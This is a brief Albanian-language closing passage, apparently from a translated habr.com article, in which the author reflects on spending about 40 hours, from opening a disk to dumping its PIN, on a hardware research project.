Këtë hulumtim e kam kaluar dy fundjava dhe disa mbrëmje. Në total, rreth 40 orë. Duke llogaritur nga fillimi (kur e hap diskun) deri në fund (dump-i i PIN-it). Në këto 40 orë është përfshirë koha që kam kaluar për të shkruar këtë artikull. Ishte një udhëtim shumë emocionues.
Burimi: habr.com
